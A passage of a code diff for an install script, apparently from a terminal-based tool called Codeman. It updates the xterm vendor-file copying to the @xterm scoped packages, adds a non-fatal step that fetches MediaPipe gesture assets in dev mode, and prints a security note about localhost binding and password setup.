console.warn(`[gesture] could not fetch MediaPipe assets — overlay disabled until fetched: ${err.message}`);
});
+39 -9
View File
@@ -250,10 +250,11 @@ if (isGlobalInstall) {
} else {
try {
const require = createRequire(import.meta.url);
const xtermDir = join(require.resolve('xterm'), '..', '..');
const fitDir = join(require.resolve('xterm-addon-fit'), '..', '..');
const webglDir = join(require.resolve('xterm-addon-webgl'), '..', '..');
const unicode11Dir = join(require.resolve('xterm-addon-unicode11'), '..', '..');
const xtermDir = join(require.resolve('@xterm/xterm'), '..', '..');
const fitDir = join(require.resolve('@xterm/addon-fit'), '..', '..');
const serializeDir = join(require.resolve('@xterm/addon-serialize'), '..', '..');
const webglDir = join(require.resolve('@xterm/addon-webgl'), '..', '..');
const unicode11Dir = join(require.resolve('@xterm/addon-unicode11'), '..', '..');
const vendorDir = join(srcDir, 'web', 'public', 'vendor');
const { mkdirSync, copyFileSync } = await import('fs');
@@ -263,19 +264,21 @@ if (isGlobalInstall) {
// Minify xterm JS for dev vendor dir (npm packages don't ship .min.js)
try {
execSync(`npx esbuild "${join(xtermDir, 'lib', 'xterm.js')}" --minify --outfile="${join(vendorDir, 'xterm.min.js')}"`, { stdio: 'pipe' });
execSync(`npx esbuild "${join(fitDir, 'lib', 'xterm-addon-fit.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-fit.min.js')}"`, { stdio: 'pipe' });
execSync(`npx esbuild "${join(unicode11Dir, 'lib', 'xterm-addon-unicode11.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-unicode11.min.js')}"`, { stdio: 'pipe' });
execSync(`npx esbuild "${join(fitDir, 'lib', 'addon-fit.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-fit.min.js')}"`, { stdio: 'pipe' });
execSync(`npx esbuild "${join(serializeDir, 'lib', 'addon-serialize.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-serialize.min.js')}"`, { stdio: 'pipe' });
execSync(`npx esbuild "${join(unicode11Dir, 'lib', 'addon-unicode11.js')}" --minify --outfile="${join(vendorDir, 'xterm-addon-unicode11.min.js')}"`, { stdio: 'pipe' });
console.log(colors.green('✓ xterm vendor files copied to src/web/public/vendor/'));
} catch {
// Fallback: copy unminified
copyFileSync(join(xtermDir, 'lib', 'xterm.js'), join(vendorDir, 'xterm.min.js'));
copyFileSync(join(fitDir, 'lib', 'xterm-addon-fit.js'), join(vendorDir, 'xterm-addon-fit.min.js'));
copyFileSync(join(unicode11Dir, 'lib', 'xterm-addon-unicode11.js'), join(vendorDir, 'xterm-addon-unicode11.min.js'));
copyFileSync(join(fitDir, 'lib', 'addon-fit.js'), join(vendorDir, 'xterm-addon-fit.min.js'));
copyFileSync(join(serializeDir, 'lib', 'addon-serialize.js'), join(vendorDir, 'xterm-addon-serialize.min.js'));
copyFileSync(join(unicode11Dir, 'lib', 'addon-unicode11.js'), join(vendorDir, 'xterm-addon-unicode11.min.js'));
console.log(colors.green('✓ xterm vendor files copied') + colors.dim(' (unminified — esbuild not available)'));
}
// WebGL addon: copy unminified (matches build script behavior)
copyFileSync(join(webglDir, 'lib', 'xterm-addon-webgl.js'), join(vendorDir, 'xterm-addon-webgl.min.js'));
copyFileSync(join(webglDir, 'lib', 'addon-webgl.js'), join(vendorDir, 'xterm-addon-webgl.min.js'));
// xterm-zerolag-input: bundle local package as IIFE for <script> tag loading
try {
@@ -312,6 +315,20 @@ if (isGlobalInstall) {
}
}
// ----------------------------------------------------------------------------
// 4b. Fetch gesture-overlay runtime assets (MediaPipe wasm + model) for dev mode
// (src/web/public/gesture/). Opt-in feature (CODEMAN_GESTURE=1); non-fatal.
// Large binaries kept out of git; the build copies them into dist/.
// ----------------------------------------------------------------------------
if (!isGlobalInstall) {
try {
execSync(`node "${join(import.meta.dirname, 'fetch-gesture-assets.mjs')}"`, { stdio: 'inherit' });
} catch {
// Non-fatal — the gesture overlay is opt-in.
}
}
// ----------------------------------------------------------------------------
// 5. Install git pre-commit hook (format check)
// ----------------------------------------------------------------------------
@@ -446,3 +463,16 @@ if (process.env.CI || process.env.CODEMAN_NO_AUTOSTART) {
}
}
}
// ----------------------------------------------------------------------------
// Security note — printed on every install path
// ----------------------------------------------------------------------------
console.log(colors.bold('Security:'));
console.log(colors.dim(' Codeman binds ') + colors.cyan('127.0.0.1') + colors.dim(' (this machine only) — no password needed by default.'));
console.log(colors.dim(' To reach it from another device, do ONE of:'));
console.log(colors.dim(' • ') + colors.cyan('tailscale serve') + colors.dim(' / ') + colors.cyan('cloudflared tunnel') + colors.dim(' (recommended), or'));
console.log(colors.dim(' • ') + colors.cyan('codeman web --host 0.0.0.0') + colors.dim(' AND set ') + colors.cyan('CODEMAN_PASSWORD'));
console.log(colors.dim(' A non-loopback bind without a password still starts, but warns loudly.'));
console.log(colors.dim(' Details: docs/security-architecture.md'));
console.log('');

Some files were not shown because too many files have changed in this diff Show More